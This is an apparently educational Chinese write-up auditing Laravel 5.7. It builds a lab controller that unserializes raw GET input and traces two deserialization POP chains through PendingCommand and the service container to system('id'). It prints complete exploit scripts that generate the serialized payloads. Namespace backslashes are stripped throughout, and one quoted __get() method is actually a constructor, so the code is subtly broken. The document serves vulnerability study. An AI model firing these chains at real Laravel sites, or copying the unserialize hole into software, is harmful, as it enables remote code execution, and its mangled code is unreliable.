Laravel 代码审计
环境搭建
-
Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242
-
Composer 下载 :
wget https://getcomposer.org/download/1.8.6/composer.phar
获取 composer.phar -
参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravel
-
composer create-project laravel/laravel laravel57 "5.7.*"
安装 Laravel 5.7 并生成laravel57
项目 -
进入项目文件夹,使用
php artisan serve
启动 web 服务 -
在
laravel57/routes/web.php
文件添加路由Route::get("/","AppHttpControllersDemoController@demo");
-
在
laravel57/app/Http/Controllers/
下添加DemoController
控制器namespace AppHttpControllers; class DemoController { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); return "peri0d"; } } }
Laravel 项目文件夹结构
- app : 包含了应用的核心代码
- Broadcasting : 包含应用程序的所有广播频道类,默认不存在
- Console : 包含了所有自定义的 Artisan 命令
- Events : 存放了 事件类。可以使用事件来提醒应用其他部分发生了特定的操作,使应用程序更加的灵活和解耦。默认不存在
- Exceptions : 包含了应用的异常处理器,也是应用抛出异常的好地方
- Http : 包含了控制器、中间件和表单请求。几乎所有的进入应用的请求的处理逻辑都被放在这里
- Jobs : 存放了应用中的 队列任务 。 应用的任务可以被推送到队列或者在当前请求的生命周期内同步运行。在当前请求期间同步运行的任务可以看做是一个「命令」,因为它们是 命令模式 的实现。默认不存在
- Listeners : 包含了用来处理 事件 的类。事件监听器接收事件实例并执行响应该事件被触发的逻辑。默认不存在
- Mail : 包含应用所有的邮件发送类。默认不存在
- Notifications : 包含应用发送的所有「业务性」通知,比如关于在应用中发生的事件的简单通知。默认不存在
- Policies : 包含了应用的授权策略类。策略可以用来决定一个用户是否有权限去操作指定资源。默认不存在
- Providers : 包含应用的所有服务提供者。服务提供者通过在服务容器中绑定服务、注册事件、以及执行其他任务来为即将到来的请求做准备来启动应用。
- Rules : 包含应用自定义验证规则对象。这些规则意在将复杂的验证逻辑封装在一个简单的对象中。默认不存在
- bootstrap : 包含启动框架的
app.php
,还包含cache
目录,其下存放框架生成的用来提升性能的文件,比如路由和服务缓存文件 - config : 包含应用程序所有的配置文件
- database : 包含数据填充和迁移文件以及模型工厂类
- public : 包含入口文件
index.php
,它是进入应用程序的所有请求的入口点。还包含一些资源文件,比如图片、JS 和 CSS - resources : 包含了视图和未编译的资源文件(如 LESS、SASS 或 JavaScript )。此目录还包含所有的语言文件
- routes : 包含了应用的所有路由定义
- storage : 包含编译后的 Blade 模板、session 会话生成的文件、缓存文件以及框架生成的其他文件
- tests : 包含自动化测试文件
- vendor : 包含所有的 Composer 依赖包,其中也包含了 Laravel 源码
第一种漏洞分析
-
漏洞触发点位于
Illuminate/Foundation/Testing/PendingCommand.php
中的run
方法,该文件的功能就是命令执行并获取输出,PendingCommand.php
又定义了__destruct()
方法,思路就是构造 payload 触发__destruct()
方法进而调用run
方法实现 rce -
根据已有的 exp 来看,
PendingCommand
类的属性如下$this->app; // 一个实例化的类 IlluminateFoundationApplication $this->test; // 一个实例化的类 IlluminateAuthGenericUser $this->command; // 要执行的php函数 system $this->parameters; // 要执行的php函数的参数 array('id')
-
在
unserialize($code)
处下断点调试,观察调用栈,发现有几个加载函数,spl_autoload_call()
、IlluminateFoundationAliasLoader->load()
、ComposerAutoloadClassLoader->loadClass()
、ComposerAutoloadincludeFile()
。 -
在加载完所需要的类后,会进入
PendingCommand
类的__destruct()
方法。由于hasExecuted
默认是false
,所以会去执行run()
函数,run()
函数会在第 8 行执行命令,其代码如下public function run() { $this->hasExecuted = true; $this->mockConsoleOutput(); try { $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); } catch (NoMatchingExpectationException $e) { if ($e->getMethodName() === 'askQuestion') { $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.'); } throw $e; }
-
run()
中首先执行了mockConsoleOutput()
,该函数主要功能就是模拟控制台输出,此时又会加载一些所需要的类。代码如下protected function mockConsoleOutput() { $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]); foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) { unset($this->test->expectedQuestions[$i]); return $question[1]; }); } $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }
-
mockConsoleOutput()
中又调用了createABufferedOutputMock()
。在createABufferedOutputMock()
函数中,首先调用mock()
函数,它的作用主要是进行对象模拟。然后进入循环,要遍历$this->test
类的expectedOutput
属性,但是在可以实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发__get()
,通过去触发__get()
方法去进一步构造 pop 链。private function createABufferedOutputMock() { $mock = Mockery::mock(BufferedOutput::class.'[doWrite]') ->shouldAllowMockingProtectedMethods() ->shouldIgnoreMissing(); foreach ($this->test->expectedOutput as $i => $output) { $mock->shouldReceive('doWrite') ->once() ->ordered() ->with($output, Mockery::any()) ->andReturnUsing(function () use ($i) { unset($this->test->expectedOutput[$i]); }); } return $mock; }
-
这里选择
IlluminateAuthGenericUser
,其__get()
魔术方法如下public function __get($key) { return $this->attributes[$key]; }
-
此时
$this->test
是我们传入的IlluminateAuthGenericUser
的实例化对象,则$this->attributes[$key]
通过反序列化是可控的,因此我们可以构造$this->attributes
键名为expectedOutput
的数组。这样一来$this->test->expectedOutput
就会返回$this->attributes
中键名为expectedOutput
的数组 -
回到
mockConsoleOutput()
中,又进行了一次 for 循环,调用了$this->test->expectedQuestions
,循环体与createABufferedOutputMock()
大致相同,所以可以构造$this->attributes
键名为expectedQuestions
的数组绕过 -
然后就可以走出
mockConsoleOutput()
方法,进入命令执行的关键点$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,这里Kernel::class
是个固定值,为IlluminateContractsConsoleKernel
,这里需要搞清楚$this->app[Kernel::class]
,可以得到如下的函数调用顺序-
Container.php:1222, IlluminateFoundationApplication->offsetGet()
// key = IlluminateContractsConsoleKernel public function offsetGet($key) { return $this->make($key); }
-
Application.php:751, IlluminateFoundationApplication->make()
// abstract = IlluminateContractsConsoleKernel public function make($abstract, array $parameters = []) { $abstract = $this->getAlias($abstract); if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) { $this->loadDeferredProvider($abstract); } return parent::make($abstract, $parameters); }
-
Container.php:609, IlluminateFoundationApplication->make()
// abstract = IlluminateContractsConsoleKernel public function make($abstract, array $parameters = []) { return $this->resolve($abstract, $parameters); }
-
Container.php:652, IlluminateFoundationApplication->resolve()
// abstract = IlluminateContractsConsoleKernel protected function resolve($abstract, $parameters = []) { $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract)); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); // concrete = IlluminateFoundationApplication if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }
-
Container.php:697, IlluminateFoundationApplication->getConcrete()
// abstract = IlluminateContractsConsoleKernel protected function getConcrete($abstract) { if (! is_null($concrete = $this->getContextualConcrete($abstract))) { return $concrete; } if (isset($this->bindings[$abstract])) { return $this->bindings[$abstract]['concrete']; } return $abstract; }
-
-
在
getConcrete()
方法中出了问题,导致可以利用 php 的反射机制实例化任意类。在getConcrete()
方法中,判断$this->bindings[$abstract])
是否存在,若存在则返回$this->bindings[$abstract]['concrete']
。bindings
是Container.php
中Container
类的属性,因此我们只需要找到一个继承自Container
的类,就可以通过反序列化控制$this->bindings
属性。IlluminateFoundationApplication
继承自Container
类。$abstract
为IlluminateContractsConsoleKernel
,只需通过反序列化定义IlluminateFoundationApplication
的$bindings
属性存在键名为IlluminateContractsConsoleKernel
的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是IlluminateFoundationApplication
类。 -
在实例化
Application类
的时候, 要满足isBuildable()
才可以进行build
protected function isBuildable($concrete, $abstract) { return $concrete === $abstract || $concrete instanceof Closure; }
-
此时明显不满足条件,所以接着执行
$object = $this->make($concrete);
,在make()
函数中成功将$abstract
重新赋值为IlluminateFoundationApplication
,从而成功绕过isBuildable()
函数,进入$this->build
方法,就能看到使用ReflectionClass
反射机制,实例化我们传入的类。 -
在返回一个
IlluminateFoundationApplication
对象之后,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
又调用了call()
方法,由于IlluminateFoundationApplication
没有call()
方法,所以会调用父类IlluminateContainerContainer
的call()
方法。public function call($callback, array $parameters = [], $defaultMethod = null) { return BoundMethod::call($this, $callback, $parameters, $defaultMethod); }
-
跟进
BoundMethod::call()
public static function call($container, $callback, array $parameters = [], $defaultMethod = null) { if (static::isCallableWithAtSign($callback) || $defaultMethod) { return static::callClass($container, $callback, $parameters, $defaultMethod); } return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) { return call_user_func_array( $callback, static::getMethodDependencies($container, $callback, $parameters) ); }); }
-
在
isCallableWithAtSign()
处判断回调函数是否为字符串并且其中含有@
,并且$defaultMethod
默认为 null,很明显不满足条件,进入callBoundMethod()
,该函数只是判断$callback
是否为数组。后面的匿名函数直接调用call_user_func_array()
,并且第一个参数我们可控,参数值为system
,第二个参数由getMethodDependencies()
方法返回。跟进getMethodDependencies()
protected static function getMethodDependencies($container, $callback, array $parameters = []) { $dependencies = []; foreach (static::getCallReflector($callback)->getParameters() as $parameter) { static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies); } return array_merge($dependencies, $parameters); }
-
getCallReflector()
用于反射获取$callback
的对象, 然后执行addDependencyForCallParameter()
为$callback
的对象添加一些参数,最后将我们传入的$parameters
数组和$dependencies
数组合并,$dependencies
数组为空。最后相当于执行了call_user_func_array('system',array('id'))
-
exp
<?php // gadgets.php namespace IlluminateFoundationTesting{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace IlluminateAuth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace IlluminateFoundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } ?>
<?php // chain.php $genericuser = new IlluminateAuthGenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new IlluminateFoundationApplication( array( "IlluminateContractsConsoleKernel"=> array( "concrete"=>"IlluminateFoundationApplication" ) ) ); $exp = new IlluminateFoundationTestingPendingCommand( "system",array('id'), $genericuser, $application ); echo urlencode(serialize($exp)); ?>
-
调用栈分析 :
IlluminateFoundationTestingPendingCommand->__destruct() $test = IlluminateAuthGenericUser attributes = array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) $app = IlluminateFoundationApplication array( "IlluminateContractsConsoleKernel" => array( array("concrete"=>"IlluminateFoundationApplication") ) ) $command = "system" $parameters = array("id") IlluminateFoundationTestingPendingCommand->run() IlluminateFoundationTestingPendingCommand->mockConsoleOutput() IlluminateFoundationTestingPendingCommand->createABufferedOutputMock() // 在 foreach 中访问 expectedOutput 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法 IlluminateAuthGenericUser->__get() // return attributes["expectedOutput"] // return array("0"=>"1") // 在 foreach 中访问 expectedQuestions 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法 IlluminateAuthGenericUser->__get() // return attributes["expectedQuestions"] // return array("0"=>"1") // Application 继承了 Container 所以这相当于执行父类的 offsetGet() IlluminateFoundationApplication->offsetGet() // key : IlluminateContractsConsoleKernel IlluminateFoundationApplication->make() // abstract : IlluminateContractsConsoleKernel IlluminateFoundationApplication->make() // abstract : IlluminateContractsConsoleKernel IlluminateFoundationApplication->resolve() // abstract : IlluminateContractsConsoleKernel IlluminateFoundationApplication->getConcrete() // $this->bindings[$abstract]['concrete'] : IlluminateFoundationApplication IlluminateFoundationApplication->call() IlluminateContainerBoundMethod->call() IlluminateContainerBoundMethod->getMethodDependencies()
第二种漏洞分析
-
同样的,在
PendingCommand
类的mockConsoleOutput()
函数处,去触发__get()
方法构造 pop 链,这里选择FakerDefaultGenerator
类,其__get()
方法如下 :public function __construct($default = null) { $this->default = $default; }
-
同样的方法绕过
mockConsoleOutput()
函数,运行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
处。只不过这次的关注点在于resolve()
函数的$this->instances[$abstract]
处// abstract = IlluminateContractsConsoleKernel protected function resolve($abstract, $parameters = []) { $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract)); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { // 在这里返回一个可控的实例化对象 return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }
-
instances
是Container.php
中Container
类的属性。因此我们只需要找到一个继承自Container
的类,就可以通过反序列化控制$this->instances
属性。IlluminateFoundationApplication
继承自Container
类。$abstract
为IlluminateContractsConsoleKernel
,只需通过反序列化定义IlluminateFoundationApplication
的$instances
属性存在键名为IlluminateContractsConsoleKernel
的数组就能返回我们要实例化的类名。在这里返回的是IlluminateFoundationApplication
类。 -
其余的就和第一种相同了,不同点在于构造可控实例化对象的方法不同
-
exp :
<?php // gadgets.php namespace IlluminateFoundationTesting{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace IlluminateFoundation{ class Application{ protected $instances = []; public function __construct($instance){ $this->instances["IlluminateContractsConsoleKernel"] = $instance; } } } ?>
<?php // chain.php $defaultgenerator = new FakerDefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $app = new IlluminateFoundationApplication(); $application = new IlluminateFoundationApplication($app); $pendingcommand = new IlluminateFoundationTestingPendingCommand('system', array('id'), $defaultgenerator, $application); echo urlencode(serialize($pendingcommand)); ?>
思考
- 代码调试的技巧
- 函数调用栈的分析
- 可控点的寻找